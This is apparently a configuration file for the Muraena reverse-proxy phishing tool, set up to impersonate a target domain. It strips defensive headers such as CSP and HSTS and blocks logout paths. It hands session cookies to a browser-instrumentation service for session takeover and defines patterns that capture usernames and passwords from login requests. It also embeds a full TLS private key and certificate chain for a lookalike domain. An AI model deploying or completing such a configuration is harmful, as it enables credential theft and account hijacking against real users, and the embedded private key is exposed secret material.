[proxy]
# Phishing domain
phishing = "mydomain.net"
# Target domain to proxy
destination = "Victim.fi"
# Listening IP address (IPv4 or IPv6)
# e.g. 0.0.0.0 or [::]
IP = "82.0.0.0.0"
# Listen announces on the local network address.
# The network must be "tcp", "tcp4", "tcp6"
listener = "tcp4"
# Listeninng TCP Port
port = 443
#
# Simple port forwarding used when the phishing site listen on a port different from target domain, such as:
# - test.muraena:8443
# - victim.site: 443
#
# port mapping can be configured as follow: ListeningPort:TargetPort
#portmapping = "443:31337"
# Force HTTP to HTTPS redirection
[proxy.HTTPtoHTTPS]
enabled = true
HTTPport = 80
#
# Proxy's replacement rules
#
[transform]
# List of content types to exclude from the transformation process
skipContentType = [ "font/*", "image/*" ]
# Enable transformation rules in base64 strings
[transform.base64]
enabled = false
padding = [ "=", "." ]
[transform.request]
headers = [
"Cookie",
"Referer",
"Origin",
"X-Forwarded-For"
]
[transform.response]
headers = [
"Location",
"WWW-Authenticate",
"Origin",
"Set-Cookie",
"Access-Control-Allow-Origin"
]
# Generic replacement rules:
# it applies to body and any http header enabled for manipulation
content = [
[ "this is blue", "this is green" ]
]
#
# Proxy's wiping rules
#
[remove]
[remove.request]
headers = [
"X-Forwarded-For",
#"User-Agent"
]
[remove.response]
headers = [
"Content-Security-Policy",
"Content-Security-Policy-Report-Only",
"Strict-Transport-Security",
"X-XSS-Protection",
"X-Content-Type-Options",
"X-Frame-Options",
"Referrer-Policy",
"X-Forwarded-For"
]
#
# Proxy's crafting rules
#
[craft]
[craft.add]
[craft.add.request]
[[craft.add.request.headers]]
#name = "User-Agent"
#value = "Ninja Agent"
[craft.add.response]
[[craft.add.response.headers]]
#
# Rudimental redirection rules
#
[[drop]]
path = "/logout"
redirectTo = "https://victim.site"
[[drop]]
path = "/signout"
redirectTo = "https://victim.site"
#
# LOG
#
[log]
enabled = true
filePath = "muraena.log"
#
# DB (redis)
#
[redis]
host = "127.0.0.1"
port = 6379
password = ""
#
# TLS
#
[tls]
enabled = true
# Expand allows to replace the content of the certificate/key/root parameters to their content instead of the
# filepath
expand = false
certificate = "-----BEGIN CERTIFICATE-----\nMIIFQjCCBCqgAwIBAgISAyVaNf0i9sf5jfc7D8TTNBSrMA0GCSqGSIb3DQEBCwUA\nMDIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQswCQYDVQQD\nEwJSMzAeFw0yMTEwMTkxOTMyMzJaFw0yMjAxMTcxOTMyMzFaMCkxJzAlBgNVBAMM\nHioudmVyby1maS1oZW5raWxvYXNpYWtrYWF0Lm5ldDCCASIwDQYJKoZIhvcNAQEB\nBQADggEPADCCAQoCggEBANH4twGqxgolPYULUslkCz1Mg3Vo2GNyOJbvzeINlwm0\nfWONXfxue0l0h5LaSS8w2zTlbWXNXVz7A9QXdAIVEhORPkbaiiJv0owmmhkzSJxE\nxnxBCWCU6iY2irx1vy3qKWhiFRk661i1Eu4qq9vrET7E7Jnu6C7RSivJ4FBFj5Gu\nZGO9HCpyLeCmR2rgniWrPO2F7VHvooqvV8vrpGt8kxNyYDGk9jdOlXcS4HuuWiP2\npMB+XItdq9V1fh42toJt4koEuc4Co0I0xpL+uReIxHrnGbEZzPLDibkQtGQq6f7N\nmGVKbLqHcwRLCu624TD39QtskaMPRDyiF3mTIHXD9O8CAwEAAaOCAlkwggJVMA4G\nA1UdDwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYD\nVR0TAQH/BAIwADAdBgNVHQ4EFgQUB4nrVQwktBudvxS3dd6JIQOkXLswHwYDVR0j\nBBgwFoAUFC6zF7dYVsuuUAlA5h+vnYsUwsYwVQYIKwYBBQUHAQEESTBHMCEGCCsG\nAQUFBzABhhVodHRwOi8vcjMuby5sZW5jci5vcmcwIgYIKwYBBQUHMAKGFmh0dHA6\nLy9yMy5pLmxlbmNyLm9yZy8wKQYDVR0RBCIwIIIeKi52ZXJvLWZpLWhlbmtpbG9h\nc2lha2thYXQubmV0MEwGA1UdIARFMEMwCAYGZ4EMAQIBMDcGCysGAQQBgt8TAQEB\nMCgwJgYIKwYBBQUHAgEWGmh0dHA6Ly9jcHMubGV0c2VuY3J5cHQub3JnMIIBBAYK\nKwYBBAHWeQIEAgSB9QSB8gDwAHYAQcjKsd8iRkoQxqE6CUKHXk4xixsD6+tLx2jw\nkGKWBvYAAAF8mkFxEQAABAMARzBFAiBr+uL2JiEUsNBqejpIDUR7Rg7Bq1S6oQax\nfbp+zlffVQIhAM9gso2HIyzUHaj8MxZWjSvByUHau0AsGcopodBE5dxCAHYARqVV\n63X6kSAwtaKJafTzfREsQXS+/Um4havy/HD+bUcAAAF8mkFxNQAABAMARzBFAiA3\n8YmpV829gfWHZZCRye8c6DEOL+vg4cr/Ks2RE8uaEQIhANAqsy3cAwPBzTmx7jwg\nNEoSSYrJQah3Mmx3lY8oMlqCMA0GCSqGSIb3DQEBCwUAA4IBAQAvw8hKCdgSjNTo\nQWqOAhxvcKft0ZZQlPX/HaSpOZX5r4KaKIAQWPcA0aodYJ0EFx9L/5/E6Vr6z6r/\nZvM5lKzJ5HfHVffJ/Ym+usCQTKomK99eixaqnjXpZptfqOYTXsnXHvxHPrf7wvgy\nP45iISxSDQ+siIA1cyhFOW35lRIfc3xqeM9t4nhgsVr8kcUo6gw0otAQ2KCzyvkJ\nDN7PmfSGjQZehmJREDevTOfpB3Jd5OSGMhkPC0rlPS1ei3vAjLQ1c7fCSH1AYthx\newN2G7Xfm7LqUqFuZxBzFXMioTFga2bz2EinLbr0kwpAsQWvmuUswljsth3IkY1+\nxU83z0iv\n-----END CERTIFICATE-----\n
"
key = "-----BEGIN PRIVATE KEY-----\nMIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDR+LcBqsYKJT2F\nC1LJZAs9TIN1aNhjcjiW783iDZcJtH1jjV38bntJdIeS2kkvMNs05W1lzV1c+wPU\nF3QCFRITkT5G2ooib9KMJpoZM0icRMZ8QQlglOomNoq8db8t6iloYhUZOutYtRLu\nKqvb6xE+xOyZ7ugu0UoryeBQRY+RrmRjvRwqci3gpkdq4J4lqzzthe1R76KKr1fL\n66RrfJMTcmAxpPY3TpV3EuB7rloj9qTAflyLXavVdX4eNraCbeJKBLnOAqNCNMaS\n/rkXiMR65xmxGczyw4m5ELRkKun+zZhlSmy6h3MESwrutuEw9/ULbJGjD0Q8ohd5\nkyB1w/TvAgMBAAECggEADXwsvLWsDGDB57aHdZmwQxqT4sl+BD0Et2TlUxxOU/g8\niVU98QVjc59BScQtKRO5MFd/xCcBVQRmBYwQDkYuKAWO+1vzvSxzWD7ubKnngunD\n2Z0Prh1CQHwGQv5I7fj4+dQ6yKkJDmRqt9MTwIcDT4W0MFqwnLkiS1emyWD+THvJ\n/ACX8hA3eArA9/vUwRHjgAyPwzd2LL44Yen5uQrk9p+whCMess0/eEAM0Agzayam\nLu5oxVtnYTbXHN6B5kdIXtqglbYtcig2poXhjjvaJ/AY/judG5Hs31sb2B7tlgeY\nuBaSPXGI6zil0fnkNvkOQ0AcIRxOm5QunR55qODroQKBgQDrn9PCyDVEcqjaSn2o\n6esXJ79VNNGJmqDo3RtFwLR5+SL3f1js/xos/8ypet8guAlPgLOeYIKbC5ouJD/7\nPXpbH3lfDHXfFtkdw+QrCrN7sHuY22BNFsKHbfCClQenDG5JrPO0VOxUPUPb5DRO\nTpfob0h3+1bCji0WWoKu28AwMQKBgQDkIP6za9aEFZoabKtptrGTj2WnwizK4/1V\nrv1mc4SGPzCAu1Ig0sG985AcHWUfjQKZsxMUD/Y1ThIISO8U/rDT2r73Owak4vCQ\nQL9wTRjlDikHafjLY6KWEu1lX0zCjdKFDaeIaEu5tL86jy4ztL4BR0WHfIKyOXK+\nBCzsA89PHwKBgAsJm6PeORCRxnMjViuZeZfGFuJo7P/jLHJ8GRD1a/7ius6ZOpMv\niAxflzjBNr6ToGwG/WMH5lZY/sn2jMC6KocmPEtFjCf9LAKG8KNLhwjeRYvtit9R\nl588eS3EyWz72ha9cVUbPU7c59bfI8wfRmJvBBgKwA+xFU+cwc5rIN+hAoGAEZtC\nTRKrkbIhHJz6dcQ13E+a5uGjl10VNkG1KO0Nc1b5JVZPtlzNux1LKABUx6SYaMhb\nVpcMx3xpA96tJQ+rEg614lrZ3mvtaRS2MbKhkzwOipXxL7FW4QJA9Cvwvqs3bjFp\nlquF/KUohRp71F3EtFCN2zEO3TZ11ph35xc8Lr0CgYAhJjLKkHJZmq1olbXevVal\nKB75o7GZyoD5nwttFEBLlPZjPoM4ccgMKS0rQVYEydb8wpURac4ec9VcmIzXJb+S\nxZWXQAmnVNbUFuovz016coUL+a26jKVEtJMrXX3QdLT51hFhdUINhBnQNuKNQYD7\nqFjPW53Za64wxIa001Vlyg==\n-----END PRIVATE KEY-----\n
"
root = "-----BEGIN CERTIFICATE-----\nMIIFQjCCBCqgAwIBAgISAyVaNf0i9sf5jfc7D8TTNBSrMA0GCSqGSIb3DQEBCwUA\nMDIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQswCQYDVQQD\nEwJSMzAeFw0yMTEwMTkxOTMyMzJaFw0yMjAxMTcxOTMyMzFaMCkxJzAlBgNVBAMM\nHioudmVyby1maS1oZW5raWxvYXNpYWtrYWF0Lm5ldDCCASIwDQYJKoZIhvcNAQEB\nBQADggEPADCCAQoCggEBANH4twGqxgolPYULUslkCz1Mg3Vo2GNyOJbvzeINlwm0\nfWONXfxue0l0h5LaSS8w2zTlbWXNXVz7A9QXdAIVEhORPkbaiiJv0owmmhkzSJxE\nxnxBCWCU6iY2irx1vy3qKWhiFRk661i1Eu4qq9vrET7E7Jnu6C7RSivJ4FBFj5Gu\nZGO9HCpyLeCmR2rgniWrPO2F7VHvooqvV8vrpGt8kxNyYDGk9jdOlXcS4HuuWiP2\npMB+XItdq9V1fh42toJt4koEuc4Co0I0xpL+uReIxHrnGbEZzPLDibkQtGQq6f7N\nmGVKbLqHcwRLCu624TD39QtskaMPRDyiF3mTIHXD9O8CAwEAAaOCAlkwggJVMA4G\nA1UdDwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYD\nVR0TAQH/BAIwADAdBgNVHQ4EFgQUB4nrVQwktBudvxS3dd6JIQOkXLswHwYDVR0j\nBBgwFoAUFC6zF7dYVsuuUAlA5h+vnYsUwsYwVQYIKwYBBQUHAQEESTBHMCEGCCsG\nAQUFBzABhhVodHRwOi8vcjMuby5sZW5jci5vcmcwIgYIKwYBBQUHMAKGFmh0dHA6\nLy9yMy5pLmxlbmNyLm9yZy8wKQYDVR0RBCIwIIIeKi52ZXJvLWZpLWhlbmtpbG9h\nc2lha2thYXQubmV0MEwGA1UdIARFMEMwCAYGZ4EMAQIBMDcGCysGAQQBgt8TAQEB\nMCgwJgYIKwYBBQUHAgEWGmh0dHA6Ly9jcHMubGV0c2VuY3J5cHQub3JnMIIBBAYK\nKwYBBAHWeQIEAgSB9QSB8gDwAHYAQcjKsd8iRkoQxqE6CUKHXk4xixsD6+tLx2jw\nkGKWBvYAAAF8mkFxEQAABAMARzBFAiBr+uL2JiEUsNBqejpIDUR7Rg7Bq1S6oQax\nfbp+zlffVQIhAM9gso2HIyzUHaj8MxZWjSvByUHau0AsGcopodBE5dxCAHYARqVV\n63X6kSAwtaKJafTzfREsQXS+/Um4havy/HD+bUcAAAF8mkFxNQAABAMARzBFAiA3\n8YmpV829gfWHZZCRye8c6DEOL+vg4cr/Ks2RE8uaEQIhANAqsy3cAwPBzTmx7jwg\nNEoSSYrJQah3Mmx3lY8oMlqCMA0GCSqGSIb3DQEBCwUAA4IBAQAvw8hKCdgSjNTo\nQWqOAhxvcKft0ZZQlPX/HaSpOZX5r4KaKIAQWPcA0aodYJ0EFx9L/5/E6Vr6z6r/\nZvM5lKzJ5HfHVffJ/Ym+usCQTKomK99eixaqnjXpZptfqOYTXsnXHvxHPrf7wvgy\nP45iISxSDQ+siIA1cyhFOW35lRIfc3xqeM9t4nhgsVr8kcUo6gw0otAQ2KCzyvkJ\nDN7PmfSGjQZehmJREDevTOfpB3Jd5OSGMhkPC0rlPS1ei3vAjLQ1c7fCSH1AYthx\newN2G7Xfm7LqUqFuZxBzFXMioTFga2bz2EinLbr0kwpAsQWvmuUswljsth3IkY1+\nxU83z0iv\n-----END CERTIFICATE-----\n-----BEGIN CERTIFICATE-----\nMIIFFjCCAv6gAwIBAgIRAJErCErPDBinU/bWLiWnX1owDQYJKoZIhvcNAQELBQAw\nTzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh\ncmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjAwOTA0MDAwMDAw\nWhcNMjUwOTE1MTYwMDAwWjAyMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg\nRW5jcnlwdDELMAkGA1UEAxMCUjMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK\nAoIBAQC7AhUozPaglNMPEuyNVZLD+ILxmaZ6QoinXSaqtSu5xUyxr45r+XXIo9cP\nR5QUVTVXjJ6oojkZ9YI8QqlObvU7wy7bjcCwXPNZOOftz2nwWgsbvsCUJCWH+jdx\nsxPnHKzhm+/b5DtFUkWWqcFTzjTIUu61ru2P3mBw4qVUq7ZtDpelQDRrK9O8Zutm\nNHz6a4uPVymZ+DAXXbpyb/uBxa3Shlg9F8fnCbvxK/eG3MHacV3URuPMrSXBiLxg\nZ3Vms/EY96Jc5lP/Ooi2R6X/ExjqmAl3P51T+c8B5fWmcBcUr2Ok/5mzk53cU6cG\n/kiFHaFpriV1uxPMUgP17VGhi9sVAgMBAAGjggEIMIIBBDAOBgNVHQ8BAf8EBAMC\nAYYwHQYDVR0lBBYwFAYIKwYBBQUHAwIGCCsGAQUFBwMBMBIGA1UdEwEB/wQIMAYB\nAf8CAQAwHQYDVR0OBBYEFBQusxe3WFbLrlAJQOYfr52LFMLGMB8GA1UdIwQYMBaA\nFHm0WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcw\nAoYWaHR0cDovL3gxLmkubGVuY3Iub3JnLzAnBgNVHR8EIDAeMBygGqAYhhZodHRw\nOi8veDEuYy5sZW5jci5vcmcvMCIGA1UdIAQbMBkwCAYGZ4EMAQIBMA0GCysGAQQB\ngt8TAQEBMA0GCSqGSIb3DQEBCwUAA4ICAQCFyk5HPqP3hUSFvNVneLKYY611TR6W\nPTNlclQtgaDqw+34IL9fzLdwALduO/ZelN7kIJ+m74uyA+eitRY8kc607TkC53wl\nikfmZW4/RvTZ8M6UK+5UzhK8jCdLuMGYL6KvzXGRSgi3yLgjewQtCPkIVz6D2QQz\nCkcheAmCJ8MqyJu5zlzyZMjAvnnAT45tRAxekrsu94sQ4egdRCnbWSDtY7kh+BIm\nlJNXoB1lBMEKIq4QDUOXoRgffuDghje1WrG9ML+Hbisq/yFOGwXD9RiX8F6sw6W4\navAuvDszue5L3sz85K+EC4Y/wFVDNvZo4TYXao6Z0f+lQKc0t8DQYzk1OXVu8rp2\nyJMC6alLbBfODALZvYH7n7do1AZls4I9d1P4jnkDrQoxB3UqQ9hVl3LEKQ73xF1O\nyK5GhDDX8oVfGKF5u+decIsH4YaTw7mP3GFxJSqv3+0lUFJoi5Lc5da149p90Ids\nhCExroL1+7mryIkXPeFM5TgO9r0rvZaBFOvV2z0gp35Z0+L4WPlbuEjN/lxPFin+\nHlUjr8gRsI3qfJOQFy/9rKIJR0Y/8Omwt/8oTWgy1mdeHmmjk7j1nYsvC9JSQ6Zv\nMldlTTKB3zhThV1+XWYp6rjd5JW1zbVWEkLNxE7GJThEUG3szgBVGP7pSWTUTsqX\nnLRbwHOoq7hHwg==\n-----END CERTIFICATE-----\n-----BEGIN CERTIFICATE-----\nMIIFYDCCBEigAwIBAgIQQAF3ITfU6UK47naqPGQKtzANBgkqhkiG9w0BAQsFADA/\nMSQwIgYDVQQKExtEaWdpdGFsIFNpZ25hdHVyZSBUcnVzdCBDby4xFzAVBgNVBAMT\nDkRTVCBSb290IENBIFgzMB4XDTIxMDEyMDE5MTQwM1oXDTI0MDkzMDE4MTQwM1ow\nTzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh\ncmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwggIiMA0GCSqGSIb3DQEB\nAQUAA4ICDwAwggIKAoICAQCt6CRz9BQ385ueK1coHIe+3LffOJCMbjzmV6B493XC\nov71am72AE8o295ohmxEk7axY/0UEmu/H9LqMZshftEzPLpI9d1537O4/xLxIZpL\nwYqGcWlKZmZsj348cL+tKSIG8+TA5oCu4kuPt5l+lAOf00eXfJlII1PoOK5PCm+D\nLtFJV4yAdLbaL9A4jXsDcCEbdfIwPPqPrt3aY6vrFk/CjhFLfs8L6P+1dy70sntK\n4EwSJQxwjQMpoOFTJOwT2e4ZvxCzSow/iaNhUd6shweU9GNx7C7ib1uYgeGJXDR5\nbHbvO5BieebbpJovJsXQEOEO3tkQjhb7t/eo98flAgeYjzYIlefiN5YNNnWe+w5y\nsR2bvAP5SQXYgd0FtCrWQemsAXaVCg/Y39W9Eh81LygXbNKYwagJZHduRze6zqxZ\nXmidf3LWicUGQSk+WT7dJvUkyRGnWqNMQB9GoZm1pzpRboY7nn1ypxIFeFntPlF4\nFQsDj43QLwWyPntKHEtzBRL8xurgUBN8Q5N0s8p0544fAQjQMNRbcTa0B7rBMDBc\nSLeCO5imfWCKoqMpgsy6vYMEG6KDA0Gh1gXxG8K28Kh8hjtGqEgqiNx2mna/H2ql\nPRmP6zjzZN7IKw0KKP/32+IVQtQi0Cdd4Xn+GOdwiK1O5tmLOsbdJ1Fu/7xk9TND\nTwIDAQABo4IBRjCCAUIwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYw\nSwYIKwYBBQUHAQEEPzA9MDsGCCsGAQUFBzAChi9odHRwOi8vYXBwcy5pZGVudHJ1\nc3QuY29tL3Jvb3RzL2RzdHJvb3RjYXgzLnA3YzAfBgNVHSMEGDAWgBTEp7Gkeyxx\n+tvhS5B1/8QVYIWJEDBUBgNVHSAETTBLMAgGBmeBDAECATA/BgsrBgEEAYLfEwEB\nATAwMC4GCCsGAQUFBwIBFiJodHRwOi8vY3BzLnJvb3QteDEubGV0c2VuY3J5cHQu\nb3JnMDwGA1UdHwQ1MDMwMaAvoC2GK2h0dHA6Ly9jcmwuaWRlbnRydXN0LmNvbS9E\nU1RST09UQ0FYM0NSTC5jcmwwHQYDVR0OBBYEFHm0WeZ7tuXkAXOACIjIGlj26Ztu\nMA0GCSqGSIb3DQEBCwUAA4IBAQAKcwBslm7/DlLQrt2M51oGrS+o44+/yQoDFVDC\n5WxCu2+b9LRPwkSICHXM6webFGJueN7sJ7o5XPWioW5WlHAQU7G75K/QosMrAdSW\n9MUgNTP52GE24HGNtLi1qoJFlcDyqSMo59ahy2cI2qBDLKobkx/J3vWraV0T9VuG\nWCLKTVXkcGdtwlfFRjlBz4pYg1htmf5X6DYO8A4jqv2Il9DjXA6USbW1FzXSLr9O\nhe8Y4IWS6wY7bCkjCWDcRQJMEhg76fsO3txE+FiYruq9RUWhiF1myv4Q6W+CyBFC\nDfvp7OOGAN6dEOM4+qR9sdjoSYKEBpsr6GtPAQw4dy753ec5\n-----END CERTIFICATE-----\n
"
#
# Danger zone, be careful editing these settings
#
# Minimum supported TLS version: SSL3.0, TLS1.0, TLS1.1, TLS1.2, TLS1.3
minVersion = "TLS1.2"
preferServerCipherSuites = true
sessionTicketsDisabled = true
# InsecureSkipVerify controls whether muraena verifies the server's
# certificate chain and host name.
insecureSkipVerify = false
# RenegotiationSupport
# Note: renegotiation is not defined in TLS 1.3.
# Options:
# - Never (default):disables renegotiation
# - Once: allows a remote server to request renegotiation once per connection.
# - Freely: allows a remote server to repeatedly request renegotiation.
renegotiationSupport = "Never"
#
# CRAWLER
#
[crawler]
enabled = false
depth = 3
upto = 20
externalOriginPrefix = "www-"
externalOrigins = [
"*.anotherdomain.site",
"example.dev"
]
#
# NECROBROWSER
#
[necrobrowser]
enabled = false
endpoint = "http://necrobrowser.url/xyz"
profile = "./config/instrument.necro"
[necrobrowser.keepalive]
# GET on an authenticated endpoint to keep the session alive
# every keepalive request is processed as its own necrotask
enabled = false
minutes = 5 # keeps alive the session every 5 minutes
[necrobrowser.trigger]
type = "cookies"
values = ["user_session", "dotcom_user"] # values can be cookies names or relative paths
delay = 5 # check every 5 seconds victim's cookie jar to see if we need to instrument something
#
# STATIC SERVER
#
[staticServer]
enabled = false
port = 8080
localPath = "./static/"
urlPath = "/evilpath/"
#
# WATCHDOG
#
[watchdog]
enabled = true
# Monitor rules file changes and reload
dynamic = true
rules = "./config/watchdog.rules"
geoDB = "./config/geoDB.mmdb"
#
# TRACKING
#
[tracking]
enabled = false
# Tracking types can be Path || Query (default)
#
# query:
# ?identifier=trackingID
#
# path:
# /trackingID
#
type = "query"
# Tracking identifier
identifier = "_gat"
# Rule to generate and validate a tracking identifier
regex = "[a-zA-Z0-9]{5}"
# Tracking initial HTTP Header (empty is: If-Range)
header = "X-Whatveryouwant-Header"
# Landing HTTP Header (empty is: X-If-Landing-Redirect)
landing = "X-Whatveryouwant-Landing-Header"
# Set speific victim's IP address
# ipSource = ""
# Set tracking cookie for a custom domain
# domain = ""
[tracking.urls]
credentials = [ "/session" ]
authSession = [ "/settings/profile" ]
[[tracking.patterns]]
label = "Username"
matching = "login"
start = "login="
end = "&password="
[[tracking.patterns]]
label = "Password"
matching = "password"
start = "password="
end = "&"